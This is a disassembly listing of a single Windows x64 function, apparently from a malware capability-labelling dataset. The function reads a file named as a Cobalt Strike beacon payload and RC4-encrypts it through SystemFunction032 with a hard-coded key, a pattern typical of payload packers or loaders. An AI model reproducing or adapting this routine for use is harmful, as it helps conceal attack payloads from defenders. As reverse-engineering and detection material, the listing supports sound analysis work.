Function at 0x1400113cf
Capabilities:
Encrypt data using rc4 via systemfunction032
Get file size

Disassembly:
jmp 0x140013c50
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
sub rsp, 0x270
lea rbp, [rsp + 0x80]
lea rdi, [rsp + 0x80]
mov ecx, 0x4c
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x298]
mov rax, qword [0x140022018]
xor rax, rbp
mov qword [rbp + 0x1e8], rax
lea rcx, [0x140028526]
call fcn.140011424
lea rax, [rbp + 8]
lea rcx, str.C:UsersgDesktopCobaltPayloads_beacon_x64.ps1
mov rdi, rax
mov rsi, rcx
mov ecx, 0x2c
rep movsb byte [rdi], byte [rsi]
mov dword [rsp + 0x78], 0
mov dword [rsp + 0x70], 0
mov dword [rsp + 0x68], 0
mov dword [rsp + 0x60], 0
mov dword [rsp + 0x58], 0
mov dword [rsp + 0x50], 0
mov dword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0x80
mov qword [rsp + 0x28], 3
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 0x80000000
lea rdx, [rbp + 8]
mov rcx, qword [sym.imp.KERNEL32.dll_CreateFileA]
call fcn.140011190
mov qword [rbp + 0x58], rax
cmp qword [rbp + 0x58], 0xffffffffffffffff
jne 0x140013d48
xor eax, eax
jmp 0x140013f8b
xor edx, edx
mov rcx, qword [rbp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [0x140022180], eax
mov rax, qword [rbp + 0x210]
mov rdx, qword [rax + 0x10]
mov rax, qword [rbp + 0x210]
mov ecx, dword [rax + 0x18]
call fcn.14001119a
mov dword [rsp + 0x70], 0
mov dword [rsp + 0x68], 0
mov dword [rsp + 0x60], 0
mov dword [rsp + 0x58], 0
mov dword [rsp + 0x50], 0
mov dword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 4
mov qword [rsp + 0x28], 0x1000
lea rax, [0x140022180]
mov qword [rsp + 0x20], rax
xor r9d, r9d
lea r8, [0x140022188]
mov rdx, 0xffffffffffffffff
lea rcx, [0x14001102d]
call fcn.140011190
mov dword [rbp + 0x74], eax
movsxd rax, dword [rbp + 0x74]
test rax, rax
je 0x140013e04
xor eax, eax
jmp 0x140013f8b
mov eax, dword [0x140022180]
mov dword [rsp + 0x68], 0
mov dword [rsp + 0x60], 0
mov dword [rsp + 0x58], 0
mov dword [rsp + 0x50], 0
mov dword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, qword [0x140022188]
mov rdx, qword [rbp + 0x58]
mov rcx, qword [sym.imp.KERNEL32.dll_ReadFile]
call fcn.140011190
test rax, rax
jne 0x140013e85
xor eax, eax
jmp 0x140013f8b
mov dword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp + 0x58]
mov rcx, qword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.140011190
test rax, rax
jne 0x140013edc
xor eax, eax
jmp 0x140013f8b
lea rax, [rbp + 0x98]
mov rdi, rax
xor eax, eax
mov ecx, 0x10
rep stosb byte [rdi], al
mov rax, qword [0x140022188]
mov qword [rbp + 0xa0], rax
mov eax, dword [0x140022180]
mov dword [rbp + 0x9c], eax
mov eax, dword [rbp + 0x9c]
mov dword [rbp + 0x98], eax
lea rax, [rbp + 0xc4]
lea rcx, str.2525
mov rdi, rax
mov rsi, rcx
mov ecx, 5
rep movsb byte [rdi], byte [rsi]
mov dword [rbp + 0xe4], 5
lea rax, [rbp + 0x108]
mov rdi, rax
xor eax, eax
mov ecx, 0x10
rep stosb byte [rdi], al
lea rax, [rbp + 0xc4]
mov qword [rbp + 0x110], rax
mov eax, dword [rbp + 0xe4]
mov dword [rbp + 0x10c], eax
mov eax, dword [rbp + 0x10c]
mov dword [rbp + 0x108], eax
lea rdx, [rbp + 0x108]
lea rcx, [rbp + 0x98]
call fcn.140011285
mov eax, 1
mov rdi, rax
lea rcx, [rbp - 0x80]
lea rdx, [0x14001e610]
call fcn.1400113a2
mov rax, rdi
mov rcx, qword [rbp + 0x1e8]
xor rcx, rbp
call fcn.140011217
lea rsp, [rbp + 0x1f0]
pop rdi
pop rsi
pop rbp
ret